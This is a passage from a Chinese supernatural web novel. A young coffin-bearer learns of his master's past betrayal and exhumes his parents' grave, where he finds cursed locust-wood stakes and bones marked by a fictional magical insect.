我的脑袋要是不犯病的话,精神还是可以的,从地上爬起来之后,程一轻轻拽了拽我的衣袖,小声说道:“我爹上了岁数,有时候很固执,他要真说什么,你别往心里去。” 程一这么一说,我就明白了,程白鹤跟我师傅过去可能有点过节,让程白鹤对我们白杠子的人抱有一定的成见,但是这时候也不能问的太多,只能等之后有机会了再详细问一问。 我估摸着,刚才小皮被撞晕那一下的确有点重了,我从地上爬起来十几分钟之后,小皮才有了反应。 他慢慢挣扎着,扶着身边的墙壁站起身,使劲晃了晃脑袋。 “三大爷,至于下这么重的手吗……我脑瓜子都快裂开了。” “力道要是不重,你撞了一下没撞昏,不是白白受疼了?” “谢谢你三大爷,你对我真好。” “好了,别说废话了,刚才看的怎么样?” 小皮估计还是觉得头晕,扶着墙又坐了下来,转头看了看我。 他望向我的目光里,明显有一丝异样的惊讶。 “这个大哥的脑袋上,真的有一个洞,洞里黑乎乎的,但里头确实有东西。” “有什么?” “有……有一座坟。” “什么?有一座坟?” 我楞了一下,但很快就反应了过来。 我的脑袋里,不可能真装着什么乱七八糟的物品,只会存在一些我回想不起来的记忆。 如果小皮说,我的脑袋里有一座坟,那么也就说明,这座坟是存在于我的记忆中的。 可是,我专门帮人抬棺出殡,见过的坟头没有几千也有几百,记忆里的那座坟,我真的没有任何的印象。 “那座坟,在什么地方?是什么样子的?” “在什么地方,这个真的看不出来,就看到一座坟。”小皮龇牙咧嘴的轻轻摸了摸自己额头上的大青包,说道:“坟看起来也挺普通的,就是乡下那种土坟,坟前有一块木头,估计是当做墓碑用的。” “墓碑上写了什么字?” “木头上的字,风吹日晒的,都很模糊,看不清楚,就一个字,还能勉强认出来。” 第159章 脑袋里的线索 “就一个字?是什么字?” “是个张字,弓长张。” “弓长张……” 小皮提供的这个线索,如果在别人看来可能一头雾水,那座坟在什么地方,一无所知,可推测的线索太少。 但我听到坟前的木板上有一个张字的时候,脑海中又开始翻翻滚滚,一些以前很少会想起的问题,这时候潮水般的蜂拥而来。 木板上的张字,很显然就是墓主的名字,但其余的字都脱落不清了。 这个张字也就是一个标记,它意味着,坟的主人姓张。 我也姓张,那么坟的主人应该和我有关系,否则,不会出现在我的脑子里。 一时间,我把以前相关的回忆,全都想了一遍。可是,我想不起父母葬礼时的情景,我甚至已经分辨不清,我当时到底是没有参加葬礼,还是彻底把这些往事给忘记了。 那座坟,是我父母的坟吗? 人死如灯灭,而且是死去了好几年的人,可是我偏偏在这个时候出现了异样的状况,从而知道了这座坟,这绝对不是单纯的巧合。 或许,这就是一条线索,但是线索指向何处,我还不敢确定。现在只有亲自到坟那边去看看,才可能更清楚一些。 然而,我现在这个状态,时不时都会出现眩晕,要是真出了远门,路上不一定会发生什么意外。 思来想去,为了保险起见,还是要等到身体恢复了之后再说。 “小皮,你刚才看到了那座坟,还看到别的了吗?他头上的伤,要紧不要紧?” “别的没看见什么。”小皮坐了这么久,终于缓了过来,重新站起身,揉着额头上的大包,说道:“大姐,我脑袋上这么大的包,你没看见?你就不问问我要紧不要紧?” “你从小就皮实,而且命硬,肯定没事的。” “大姐,我谢谢你。他的伤,估摸着应该没事,除了那个坟,别的什么都没看到。” “那就好……” 小皮捂着脑袋去休息了,程一知道我没事,大概也放了心。程白鹤在旁边看了一会儿,总觉得程一看我的眼神不太对,这老头儿五十岁了才养了这么一棵大白菜,肯定不会让人随便乱拱。 “你们两个,认识的时间不是也不长吗?” “不长,也就几天。” “瞧着你们倒像是认识好几年了。” “我和程一在邪神庙那边一块儿联手,同甘共苦,她受了伤,我得救她,我受了伤,她也不可能冷眼旁观,程大爷,就是这么回事。” “但愿如此……” “程大爷,有些话我在心里憋不住,还是想问问。程一和你说过,我师傅的事情,我知道的很少,之前跟着他,就是为了学艺。” 我把自己的身世,也大概说了一下,程白鹤知道我是当初父母都不在了,孤苦无依,才被师傅给收下之后,神色才缓和了一点。 程一也在旁边一个劲儿的解释,说起了我脖子上的红印,又说起了王川山的一些事情。 程白鹤如今也算是白八门里资格很老的人了,有的事,他应该听说过。随着程一的讲述,程白鹤一会儿皱起眉头,一会儿闭眼沉思,我也不知道他在想什么,不敢随意惊扰他。 “我听说,你师傅已经不在了?” “他去世了,已经有三年多了,程大爷,你和我师傅是……是有点过节吗?” “我女儿说你这个人挺厚道的,我确实有点不信,因为你是梁勇的徒弟,梁勇那个人,一言难尽啊。” 程白鹤认识我师傅的时候,还是二十来年前了,我师傅还年轻,对程白鹤很尊重,加上大家都是白八门的,同祖同宗,所以刚开始两人交往的还不错。 他们一起办过两件小事,师傅出人出力,让程白鹤很感激。交往的多了,他们也聊过一些白八门里面的事。 当年的程白鹤,对俗世里的一些东西还是比较在意的。那一年,白八门里面不知道从谁嘴里传出了一个消息,说是流出了几本祖师爷的手札。 手札上到底记录了什么内容,谁也说不准,消息的来源也不是太可靠,但是,程白鹤还有我师傅都知道葬经终篇的事情,所以,只要是祖师爷留下的手书,都可能具备很大的价值。 两个人就合计着联手做一票,但偏偏那时候程一刚刚出生,程白鹤对这个老来女珍惜的不得了,又想去找手札,又想守着刚出生的女儿。 最后,还是我师傅一力承担,说把这件事交给他去办,真有什么好处,自己也不会独吞。程白鹤当时对我师傅很信任,就答应了下来,给师傅派了两个帮手。 程白鹤本人是家里的独苗,他后来起家,靠的基本上都是程家的远支旁族,大家都姓程,只不过之前很多年都没有来往了。不过,程白鹤还是喜欢用自家的人,觉得好歹是一个家族的,总比外人可靠些。 程白鹤派给我师傅的两个人,都是当时程家年轻一代里面很拔尖的人,大有前途。 师傅带着他们动身出发了,这一走就是一个来月,最后,两个程家的年轻人就回来一个,而且还是受了重伤,拼死逃回来的。 他们和我师傅这次外出,没有白费力气,最后真的找到了三本手书,其中两本比较完整,一本破损的挺严重。反正争抢手书的过程很艰难,也很危险,好在三个人齐心协力,算是硬熬了过来。 谁知道,就在两个程家的人感觉危险化解的时候,师傅突然就背地里下手,两个程家的人一个当场就死了,另外一个受了重伤,拼命跳到附近一条湍急的河里,这才捡了半条命回来。 那三本手书,自然也被师傅给带走了。 带口信回来的那个年轻人最后也没熬住,回来没多久就死了,程白鹤很震惊,同时也很恼火。立刻去找师傅,但师傅不知道跑到什么地方去了,一连找了一个月,都没找到人。 这件事对程白鹤的冲击很大,程家死了两个人,如果不要个说法回来,他的威信就会受到打击。程白鹤使出浑身解数,有暗中找了白八门当时有威望的几个老人,一帮人又找了很久,这才找到师傅。 第160章 小皮的梦 程白鹤本来以为找到了师傅,总算能要个说法了。白八门的几个老辈人当时也在,有他们主持公道,程白鹤也很放心。 然而,师傅对程白鹤的话矢口否认,他不仅不承认害死了程家的人,甚至都不承认有寻找手书这回事。 程白鹤当时差点气疯,但是有一点,程白鹤先前一直都忽略了,两个跟随师傅一块去找手书的程家人,如今都挂掉了,没有一个人证。 就算程白鹤再怎么说,现在也拿不出一点证据。程白鹤就把希望寄托在白八门几个老辈人的身上,希望他们帮自己说句话。 当时的白八门,早已经不是以前的白八门了,门内的几个分支支离破碎,各自为政。这是人命关天的大事,如果不是什么深仇大恨,谁都不愿意硬出头去得罪人。 程白鹤要是有什么铁证,还好说一点,可他没有证据,师傅一口咬定这件事子虚乌有,而且,师傅那人平时很低调,不跟门内的人有过多的来往,却也没有开罪过谁。所以,几个老辈人也实在没办法一直替程白鹤说话。 程白鹤肯定咽不下这口气,程家的人也要报仇,但师傅那时候虽然年轻,也有一些朋友,双方斗了两次,没打死人,不过有人受伤。 在这种关键时刻,程白鹤还是硬生生的忍住了,他知道,跟师傅火拼下去的话,落得个两败俱伤,双方谁都没有好处。当时的环境就不太好,要是硬去拼,把自己的家底给拼光了,得不偿失。 还有很重要的一点,程白鹤当时有了女儿,做事就变的小心谨慎了。 最后,还是在别人的调解之下,程白鹤跟我师傅勉强达成了协议,双方就此罢手,谁也不找谁的麻烦。 之后的很多年,程白鹤和师傅没有发生过冲突,这件事真的是结束了。但事情虽然了结,可程白鹤心里这口气是咽不下去的。 这时候我才明白,程白鹤为什么知道我是梁勇的徒弟以后,对我就有那样的成见和排斥。 听完程白鹤的话,我心里很不是滋味。 其实,我很想替师傅辩解两句,但当年的事情我一无所知,想辩解也说不上话。 而且,我心里不由自主的就想起了王川山小村的灭门惨案。现在基本可以确定,那事情就是师傅带人去做的。 能把一个村子的人都给灭口,就不可能在意程家的两条人命。 师傅在我心目中的形象,就如同一堆泡沫,在无形中缓缓的坍塌。我真的想象不到,师傅一直教我做人要诚信,要厚道,要尊师重道,可是他嘴里说一套,背地里又做一套,一时间让我难以接受。 “你别想了。”程一看到我的神情沮丧,低头不语,就在旁边劝道:“当年出这些事的时候,你还裹尿布呢,跟你没有关系,你想那么多干什么?” “你们俩,真的就是刚认识几天?”程白鹤总是觉得程一对我太关心,眼神里疑神疑鬼的。 程白鹤这个人,其实还是比较开明的,虽然跟我师傅有仇,但也分得清楚,当年的事的确和我没啥关系,加上程一一直都在替我说话,我就暂时在平安集这里安顿了下来。 程白鹤的寿衣店平时基本没什么生意,但我也注意到了,有些生意是暗地里的,但我也不方便多问。在这儿住了几天之后,小皮又帮我看了看,觉得确实没什么问题了,杨大夫就给我用了药。 我在后院这边和程一一起休养,程白鹤经常找我聊天,一个是进一步试探试探我,另一个就是想借机套套我的话,谈一些关于王川山,邪神庙,还有葬经终篇的事情。 我对这些的确知道的不是太多,捡着能说的,和程白鹤说了一下。程白鹤上了岁数,对葬经终篇的事情,不是特别上心,要不然,程一也不会瞒着他,一个人偷偷溜到邪神庙去。 就这样和程白鹤聊了几天,交谈的多了,程白鹤应该也能看出来,我不是那种奸邪之辈,加上我和小皮相处的很好,小皮也经常帮着我说话,程白鹤对我的态度,就渐渐开始转变了。 夏天的最后一个月,我就是在平安集度过的,头上的伤口彻底被接骨膏给封住了,杨大夫的药有奇效,我也正年轻,身体恢复的很快,这一个月下来,虽然没有痊愈,但基本上没有太大的问题了。 夏天虽然过去,但秋老虎更让人难熬,这天晚上,我在后院这里教小皮抽烟,顺便闲扯淡,一直到深夜,两个人才去睡觉。 现在的环境比较安宁,我入睡也入睡的快,睡到后半夜的时候,我就觉得有人在推我,睁眼一看,是小皮站在我的床边。 “小皮,你怎么还不睡?” “我都睡了,不过又醒了,睡不着,来跟你扯几句。” “扯啥啊,这都后半夜了……” “扯两句吧,闲着也是闲着。”小皮从我的床边拿起烟,自己点了一支,他斜叼着烟卷,又是挤眉又是弄眼的。 我和小皮接触了一个多月,对他的脾气算是了解了,一看到小皮这个模样,我就知道,他肯定是有话要说。 “小皮,到底有啥事?” “那个……你还记得你刚来那会儿不,我帮你看了看你的脑袋,然后看见,里面有一座坟。” “记得,这种事,我怎么会忘记。” “那你没打算,去看看这座坟?” “啥意思?” “有个事,老奇怪了。我平时睡觉基本就不做梦,因为要是一做梦,多半是要神游。可我刚才睡着了以后,就做了个梦,梦见上次我在你脑袋里看见的那座坟了。那座坟前头立着一块木板,我不会看错的。” “你梦见那座坟了?然后呢?” “那座坟里,有人在喊你,我在梦里听的真真儿的,是个男人的声音,喊着五满,五满……” 第161章 回故乡 我一听到小皮这么说,顿时睡意全无,直接从床上坐了起来。 “然后呢?” “然后……然后我就醒了。我是觉得,我不会平白无故做这个梦。” 我相信小皮的话,我很怀疑,是不是因为我脑袋上的伤口已经愈合了,所以再也接收不到什么异样的信息。 那座坟,我一直没有忘记,只不过先前在养伤,顾不上去找。现在小皮这么说,我就有点忍耐不住了。 我做好了打算,等天亮之后就收拾东西,然后出发,去找那座坟。那座坟的具体位置,小皮当时没看出来,不过,根据我自己的判断,当时爹娘过世,应该是埋在村里的坟地里的。 我醒了之后就再也没法入睡了,小皮就在旁边和我说话,等到天亮,我收拾了点东西,小皮把事情跟程一还有程白鹤说了。 知道我的打算以后,程一也没有劝我,她很清楚,这种事情我迟早都要去追查的。 “我跟小皮陪你一起去吧。” 一听到程一这么说,程白鹤的脸就绿了,这一个多月,程白鹤明里暗里,不知道套我的话套了多少次,翻来覆去就是问我和程一认识了多久,关系为啥那么好。 “你去什么去?你的伤养好了?”程白鹤板着脸,对程一说道:“伤没养好之前,你哪儿都不能去,叫你母亲看着你,就在家里呆着。” “我跟他去,又不会有什么危险,他经验不多,真去查找什么线索,没准线索在眼皮子底下,他都发现不了。” “不行,这事没商量,宁可我去,也不能让你去……” “老程,这可是你说的,我可没逼着你,你自己愿意的,小皮,你听到你三大爷的话了么?” “听见了。” “那你赶紧的,给你三大爷也收拾一份行李。” 小皮每天都在寿衣店里看店,闲的快发霉了,巴不得出去溜溜,当即就去帮着程白鹤收拾东西。 我们三个人中午从平安集这边出发,我现在就依稀记得,以前住的那个小村是在西台,但具体的位置,还有村子的名字,已经完全没有任何印象了。 西台距离这个地方很远,差不多一百四五十公里的路,平安集这里热闹,还好找车,但是等到了西台附近之后,周围比较荒,连公路也没有,只能步行。 我们一边走,一边打听,因为叫不出村子的名字,所以基本上打听不到,只能用最笨的法子,把西台这里所有的村子,都找一遍。至少我还记得村子的样子,如果靠近了村子,我应该可以看得出来。 这个活儿很浪费时间,西台这里虽然荒僻,但范围太大,一连找了整整一天,也没有什么眉目。 到了傍晚时分,我们停下来休息,顺便吃点东西,吃着东西的时候,程白鹤就一直在看小皮,而且神情和目光之间,流露着一股慈祥。 “小皮,走了一天了,累不累?” “三大爷,我不累,我都一年多没出来逛过了,一点都不累。” “你不累,可我累啊。”程白鹤面露慈祥,微笑着说道:“小皮,我知道你一直是个孝顺的好孩子,三大爷走的累,你肯定也不忍心,对不对?” “三大爷,我忍心。” “不要口是心非,你肯定不忍心的。小皮,咱们程家的人,一向都尊崇孝道……” “三大爷,你想干啥?” “你看,现在天色晚了,神游起来也很方便,西台这么大,靠咱们两条腿走,要走到什么时候?叫五满跟你说说,那个小村子是什么样子的,你神游的时候顺便找一找。” “三大爷,我神游一次,脑袋上就会多个包,疼的要命。” “多个包而已,怕什么,迟早都会好的,南极仙翁头上一年四季都有个包,你啥时候听人家说疼了?好孩子,听话。” 小皮叹了口气,自顾自的摇了摇头,自己找了棵大树,面朝着树干站的直挺挺的。他神游的时候,每次都下不去狠手自己把自己撞晕,必须得别人帮忙。 我赶紧把记忆里那个小村的样子跟小皮仔仔细细说了一遍,等说完之后,程白鹤已经卷起了衣袖。 这种事情,程白鹤也经历的多了,大巴掌呼雷闪电一般的抡到小皮的后脑勺上,小皮的额头重重撞到树干上面,白眼一翻,就躺到了地上。 我和程白鹤就在旁边等,这一次,等了差不多有一个钟头左右,小皮双手的手指才轻轻/颤动了一下。 紧接着,小皮醒了过来,虽然他的脑袋上不出意外的多了个大包,但真的在西边大概十几里之外的地方,找到了我说的那个小村。 我心里很激动,要不是程白鹤拦着,我肯定要连夜赶路。 我们三个人就在这里休息了一晚,第二天清晨,立刻动身朝着十几里外的小村走去。 等远远的看到小村的时候,那种熟悉的感觉,就已经压制不住了。 我心里涌动着一种难以形容的感受,按道理来说,这才是我的故乡,是生我养我的地方,可是,我对它却没有太多的印象。 一时间,我的视线有点模糊,甚至隐隐约约的看到了十几年前的场景。我看到爹娘正在村外的农田里劳作,我在旁边抓蝴蝶,等到太阳西沉的时候,我骑在父亲的脖子上,一家三口踏上了回家的路。 人的记忆,是个很神奇的东西,虽然自己早已经不是当年的自己,沧海桑田,物是人非,可只要触动到了记忆,那些美好的,心酸的往事,会把情绪完全淹没起来。 我本来想到村子里去看看的,但是哑巴大爷早就死了,对于村里别的人,我没有印象,也不可能有什么感情。所以,我们绕过村子,然后慢慢的找,不多久就找到了村里的坟地。 第162章 深仇大恨 西台这边乡下的坟地,基本也就是那样,时间过去的太久了,很多坟都没有墓碑,分辨不清楚。我围着坟地慢慢走了一圈,在一个很不起眼的角落中,真的找到了那座立着一块木板的土坟。 “就是这座坟。”小皮跟在我身后,毫不迟疑的说道:“我不会认错。” 这座土坟的时间,应该不算很长,坟包没有被风雨和岁月磨平,坟前的那块木板,歪歪斜斜。 木板很厚实,上面的字迹的确不清楚了,站在木板跟前,能勉强认出一个张字。 事情到了这一步,其实已经很明确了,这座坟,一定就是我爹娘的坟,爹娘去世,直接被埋在了这里。 但是,找到了这座坟,然后呢?我不相信自己的脑袋里会无缘无故的出现这个信息,既然出现了这样的信息,必然还隐藏着什么线索。 我回头看了看程白鹤,他虽然站着没说话,但那表情和眼神其实也说明了,眼下要做的,就是挖开这座坟,看看里面的具体情况。 现在还是白天,行事也不太方便,尽管坟地平时不会有人,但真被村民给撞见了,肯定还是有麻烦。所以我们三个人就暂时先躲到了别处,等天黑之后再动手。 到了傍晚时分,我们已经完全养足了精神,程白鹤看看天色,说道:“小皮,你到村子附近看看,顺便去捡几把没人要的锄头和铁锹。” “村里都是种田的,锄头和铁锹会没人要吗?” “那就去找,注意不要惊动村民就行了。” “三大爷,你这说话费劲的,你直接说叫我去偷铁锹和锄头不就完事了?” 小皮嘟嘟囔囔的走了,这货长的歪瓜裂枣,平时看着很顽皮,其实心比较细,而且做事麻利。 过了能有半个多小时,小皮扛着锄头铁锹回来了,这几年里,小村的变化并不大,依然没有什么外人会来,村民们还是靠种田为生。小皮转了一圈,没有发现什么异常情况。 坟地这边本来就荒,等到天色发黑,周围就彻底的寂静下来。我和小皮拿着工具开始挖坟。 我们俩都年轻力壮,唰唰的挖个不停。按照这边的风俗,土葬的棺材一般都埋在六尺左右的地下。但是,我和小皮挖下去最多四尺,就已经看到了土里的棺材。 当年爹娘过世之后,只有哑巴大爷帮忙料理后事,葬礼肯定也是匆匆进行的。 我和小皮开始把挖出来的坑扩宽,让整个棺材都出现在视线里。等坑的范围一拓宽,就能看到,坑里是两口并排埋在一起的棺材。 这肯定是爹娘合葬的坟,当时事情出现的很突然,也来不及做更多的准备。 嘭!!! 小皮正在挖土,铁锹冷不防就在棺材旁边的土层里挖到了什么东西,把浮土清理了一下以后,我看到那是一根大概有胳膊粗的木桩子。 木桩子竖着埋在土里,不知道有多深。 “先等等。” 程白鹤一直都蹲在坑边看,等这根木桩子挖出来之后,他就让小皮停手,亲自跳了下来。 那根木桩子埋在土里几年了,好像没有丝毫的变化,程白鹤仔细看了看这根木桩子的横截面,看着看着,他就皱起了眉头。 “你爹娘当年,是不是得罪什么人了?” “应该没有。”我想了想,过去的很多事,我没有印象了,我只模糊的记得,我父母就是老实巴交的乡下人,之前做那个奇怪的梦的时候,哑巴大爷也说过这些。 “要是没得罪人,他们的坟里怎么会有这东西?这是铁槐木。” 当初我和程一在邪神庙外面的时候,就遇见过血槐树,程一说了,槐树是镇魂锁魄的东西,如果是那种死过人的地方,种上槐树,或者是买上槐木桩子,只要木头不烂,就会死死压住人的魂魄,无法逃脱。 尤其是在坟地这种地方,最忌讳有槐树和槐木,按照民间的说法,家里的坟地如果有槐木的话,死者会被压制的不能托生转世,会化成厉鬼,严重的影响祖坟的风水以及家族的运势。 以前有些人要是成心害人,会偷偷找到对方的祖坟,在坟地四周打进去槐木桩子。 这种邪门的办法到底管用不管用,谁也不知道,但是从古至今,这都是大忌,除非是有什么完全无法化解的深仇大恨,才会下这种狠手。 可以说,一旦被人发现,自己家的祖坟里埋了槐木桩子,那简直就是一等一的冤仇,不死不休。 程白鹤拿过铁锹,在两具棺材的附近又扒拉了一会儿,果然,两口棺材的旁边,一共埋了八根槐木桩子。 这些槐木桩子虽然只有手臂那么粗,但是入土之前是经过处理的,埋在土里一两百年都不会烂,这也就是程白鹤所说的铁槐木。 “八槐锁阴,有人是想让……让你爹娘永世不得翻身啊……够狠的!” 程白鹤都有些看不下去了,这种狠毒的办法,就连以前江湖里那些下九流都不会用。 我的脑子嗡嗡作响,虽然头上的伤已经恢复了大半,此时此刻却还是觉得头晕目眩。 如果说,梦里的哑巴大爷告诉我的那些事,算是一个提示的话,那么眼前的情景,已经是铁证了。这完全证明,爹娘的死不正常,他们有仇人,而且是大仇。 “五满,五满?”小皮看见我站在坑里发愣,就轻轻推了推我。 “我……我没事……” 我默不作声的把棺材周围那些槐木桩子全都起了出来,不管这种传说里的邪法到底有用没有,我都不想让它留在坟里。 槐木桩子算是线索,但不是很明确的线索,只通过几根木桩子,无法判断出更多的情况。 “五满,要不要……要不要接着打开棺材?” “打开。” 坟都挖开了,我肯定不会就此罢手,征得我的同意之后,小皮就开始动手,先打开的是左边那口棺材,棺材上面的钉子特别长,钉的很死,费了很大的力气,才把钉子全都起掉。 我跟小皮两个人合力,把棺盖慢慢的拿掉了。 当棺盖打开的那一瞬间,我们俩同时吓了一跳,惊讶莫名。 第163章 三尸虫 棺材里的确是一具尸骨,因为害怕被人发现,我们三个没有用手电照明,完全靠着头顶的月光。棺盖一打开,月光洒落下来,棺材里的尸骨,一下子折射着红黄绿三种淡淡的光。 我从来没见过这种五彩斑斓的尸骨,下意识就捂住了鼻子,唯恐棺材里会有尸毒。 很快,我就发现五彩斑斓的颜色应该不是什么尸毒,而是尸骨本身的颜色。 小皮也觉得尸骨上的颜色不是尸毒,跟着松开了手,在棺材旁边嘀咕道:“怎么还五颜六色的?” 我稳住心神,为了看的更清楚一些,我取出了一把小手电,径直朝着棺材里照了过去。 当光线清晰的时候,我忍不住倒抽了一口凉气。 如果综合来看,棺材里的尸骨应该就是下葬了七八年左右。我们行内有句俗话,叫做三年化肉,七年化尸。意思就是埋葬棺材里的尸体,受到外界的影响比较小,皮肤肌肉内脏如果完全腐化干净,大概要三年的时间。 如果尸体要变成一具彻彻底底的骸骨,则需要大约七年的时间。 七年过去之后,尸体除了骨头毛发牙齿,别的东西全都腐烂无存,但是,骨骼会保存的很完整也很完好。 可是,这口棺材里的尸骨,却呈现出另外一种状态。尸骨被腐蚀的很严重,坚硬的骨头上面到处都是密密麻麻蜂窝一样的洞,看起来触目惊心。 “这尸体……是怎么回事啊……” 小皮在旁边看着,忍不住有点恶心。像我们这样的人,就算看见了比尸体更可怕的东西,也不会恶心的想吐,关键是这尸骨真的令人不寒而栗。 一具被侵蚀的这么严重的尸体,骨头上还带着三种颜色,根据我自己的经验,很难判断出这是怎么回事。 自然而然的,我和小皮不约而同的又望向了程白鹤。 程白鹤站在棺材旁边,一直沉吟不语,过了一会儿,他拿出一双手套,这是白八门特制的麂皮手套,上了几层蜡,是专门用来搬动尸体时候用的。 程白鹤戴上手套,轻轻翻动着棺材里的骨头,骨头看起来是完整的,那也只是没有受到外界的风吹日晒,只要轻轻一动,就立刻散了。 估计是骨头被侵蚀的太严重,就如同充满了细密空洞的糖瓜一样,手指一捏,骨头就碎了。 等到程白鹤再抬起头的时候,目光里就有种疑惑。 “五满,你父亲以前,认识你师傅不认识?” “我师傅?”我楞了一下,摇了摇头,说道:“不认识,以前他们没有瓜葛,就是我父亲办丧事的时候,村里人把握师傅请过来的。” “那……这就有点不对了。” “怎么不对?” “你知道你父亲是怎么死的吗?”程白鹤拿起一块骨头,说道:“这种骨头上的颜色,还有上面的小洞,是骗不了人的,你父亲死在三尸虫上。” “三尸虫?什么三尸虫?” “看起来,你师傅是真的什么也没告诉你,三尸虫,是你们白杠子的独门秘术,从来没有外传过,除了白杠子梁家的人,再也没有别的人会了。” 程白鹤说的三尸虫,的确是一种很小很小的虫子,这种虫子非常的特殊,就和冬虫夏草一样,有时候是草,有时候是虫。 而且,三尸虫不是天生的,需要懂行的人用秘术豢养。 我们这边的山里,偶尔会找到一种叫“赖婆子”的药草。赖婆子的花有毒,根叶可以入药。赖婆子的叶子是绿的,花是黄的,根是红的,一株草三种颜色,所以也叫三色草。 赖婆子的种子种在土里,会正常的生长,如果用特殊的手法种在尸体上,开花结果之后,果子崩裂开,里面就全都是密密麻麻的比小米粒还小的虫。 这种虫子,就是三尸虫,一共有三种颜色。 三尸虫因为很小,可以顺着人的七窍钻入到体内,让人防不胜防,三尸虫一入体,这人基本就没救了,两三个小时,内脏就会被腐蚀的千疮百孔。 如果没有外力的影响,三尸虫会一直留在尸体内,直到把尸体的骨头也腐蚀的烂糟糟的。被腐蚀过后的骨头,最显著的特征就是有很多很多细密的孔洞,而且骨头上会留下红黄绿三种颜色。 当我听到程白鹤这番解释之后,一下子就明白了,爹娘死的果然不正常,是被三尸虫害死的。 不仅如此,尸体被下葬之后,还让人偷偷的在坟地里埋了槐木桩。 我的心一下子凉了,不知道该怎么形容此刻的心情。如果按照程白鹤的推测,会豢养三尸虫的,只有我师傅。 那么我爹娘的死,自然就跟他脱不开干系。 这究竟是怎么回事?我父母不过就是普通的乡下人,怎么会得罪我师傅? 更关键的是,就算我父母和师傅有仇,他们死了之后,师傅还专门留下我,把我拉扯大,还教我吃饭的手艺? 我一下子就迷茫了,呆呆的站在土坑里,看着眼前棺材里的尸骨,心绪久久不能平息。 很多事情,我以前觉得都是自然发生的,但现在想一想,似乎又不是那么回事。 要知道,西台这个地方,距离师傅原来的住处,大概有二百多三百里。师傅以前接活,大概也不会跑那么远。 按哑巴大爷说的,是他出去找人帮忙料理丧事,然后遇见师傅,把师傅给请了过来。我现在就忍不住怀疑,师傅是不是一直都守在村子附近? 这里面,还有一个很让人怀疑的点。 我父母过世的那晚,除了我之外,就只有哑巴大爷在场,哑巴大爷过来的时候,我爹还没彻底断气,拉着哑巴大爷的手,可能想说什么,只是一个字也没能说出来。 父母的丧事办完,哑巴大爷也跟着死了,这就不得不让我疑心,哑巴大爷是不是被灭口的。 这一切,真的都是师傅做的吗? 第164章 缥缈铃铛声 眼前的情景再加上推断,对我来说是一种非常沉重的心理打击,我想不明白这是怎么回事,脑子里也转不过这个弯。 “你小时候的事,现在都不记得了?” “没有多少印象了。” “你爹娘就是这个村子里土生土长的人吗?”程白鹤叹了口气,说道:“要是你什么都想不起来,也就推测不出什么啊。” “五满……” 我本身就有点心不在焉,程白鹤的话,让我一直在胡思乱想。这时候,小皮拿着我那支小手电,在尸骨的头部顿住了,随即喊了我一声。 “小皮,怎么了?” “你看看尸体的头骨。” 尸体的头骨,和别的地方的骨头一样,被侵蚀的很严重,当我顺着小皮手指的位置看了一眼之后,顿时一惊。 尽管头骨被腐蚀的严重,可是现在还是能看到,头骨上面本来有一片字迹。 这字迹,不像是写在头骨上面的,似乎就是从骨头里面长出来的一样。可是,头骨的腐蚀让这些字迹已经为完全辨认不出了。 我全神贯注的看,小皮也在帮忙,看看能不能认出上面的一部分字迹,只不过忙了半天,还是白费。 毫无疑问,头骨上面的字迹,一定很重要,说不定就是不为人知的秘密或者线索,可这条线索,也彻底的中断了。 现在距离天亮还有点时间,小皮又和我一起,把另一口棺材也打开了。不出所料,这具棺材里的尸骨,同样有三尸虫腐蚀过的痕迹。 不过,这口棺材里的尸骨头部,没有什么字迹。 两口棺材的具体情况,就是这样,继续翻找下去,也找不到什么别的线索了。 我们从土坑里爬上来,然后把土都回填了进去,等做完这些,三个人一起离开了坟地,在附近一个隐蔽的地方坐了下来。小皮就算精神再旺盛,挖土挖了大半夜,疲惫不堪,坐下来没多久就呼呼睡了过去。 程白鹤目睹了整个过程,他也觉得这件事情非常蹊跷,而且,这让他意识到,我和我师傅真的是两回事,师傅当年收养我,或许有别的目的。 我很怀疑,师傅其实一直没有把我真正当徒弟来看待,就因为这样,他平时和我说的那些事,只是无关紧要的故事而已,真正的核心内情,师傅从头到尾一个字也没有提过。 而且,我已经彻底的相信,自己的遭遇,不是偶然,而是必然。 如果不是被卷到这件事里来,或许一直到现在,我依然懵懵懂懂,对很多事实都一无所知。 沿着这个思路,我又想了很多很多,这次这个事情的契机,完全是因为石头提供的邪神庙的线索。要是不去邪神庙,我的脑袋不可能受那种伤,也就不可能有后来的事。 在这一瞬间,我突然就感觉到,自己之前的一些判断,或许是错误的。 在石头刚刚提供邪神庙这个地点的时候,我就下意识的认为,石头给我说这个地方,是为了让我去找人,或者找东西,然后把他给救醒。 可现在看起来,情况不是这样,石头提供邪神庙这个地方,并不是为了救他自己,很可能是为了让我知道这些信息。 事情的复杂程度,又一次超乎了我的想象,可是,我想到脑袋爆炸,也想不出个所以然。 在这里的事情做完了,再逗留下去,其实没有太大的意义,等到天亮之后,我们三个人就离开了西台,然后一路辗转回到平安集。 一时间,我不知道自己下一步该怎么去做了。从眼下得到的线索来看,化解脖子上的红印,或许只有找到了完整的葬经终篇,才有那么一线机会。 但葬经终篇本来就不完整,白八门几个大宗的手里,各自有一点残本,要从这些人手中拿到残本,简直难如登天。何况,即便真把他们手里的残本集中到一起,葬经终篇还是不全。 我的心情不免有些悲观,这是一个几乎无法达到的目标,可是,不达到这个目标,我等于是没救了。 人就是这样,一旦精神懈怠了,做什么都没劲儿。我在平安集这里又住了十来天,杨大夫给我换了一次药,说骨头茬子已经长到了一起,估计再有一个来月,就可以完整的愈合。 程一的伤势恢复的也差不多了,就是在邪神庙那边的遭遇让程白鹤心有余悸,说什么也不肯放程一出门。程一的母亲每天二十四小时守着她,程一以前也是跑来跑去,一刻都闲不住,在家里憋了这么久,憋的气闷。 她和小皮都知道我的情绪不好,这天晚上,程一趁着她母亲不注意,悄悄溜了出来,我们也没打算跑的太远,就是在平安集这里走一走,散散心。 平安集这里人多,而且热闹,一直到半夜,还有一些露天的小摊子,平安集的烤鱼很有名,我们三个人找了个摊子,要了两条鱼,小皮又弄了点酒。 我的酒量不怎么好,喝了三两,就觉得头脑微微发晕。人一喝酒,精神就特别活跃,我乱七八糟想了很多事情,越想越是悲戚,越想越是无助。 “五满,我劝你一句,今天就过好今天,明天的事,等明天再说吧,你每天这样愁眉不展的,也不是个办法。”程一想了想,说道:“我爹应该知道一些葬经终篇的事,可他怕我惹麻烦,没告诉我那么多,我回去再劝劝他,叫他和你聊聊,不管能不能帮上你的忙,多知道一些情况,也是好的。” “我觉得三大爷说的没错啊。”小皮望着程一,说道:“你们俩到底认识多久了?我从小跟着你长大,也没见你这么耐心的开导过我。” “你和他不一样。” “咋就不一样了?他是男的,我不是男的?” “他……” 程一一开口,忍不住又悄悄看了看我,或许是想起当时在山沟里给她上药的事,程一的脸庞顿时微微一红。 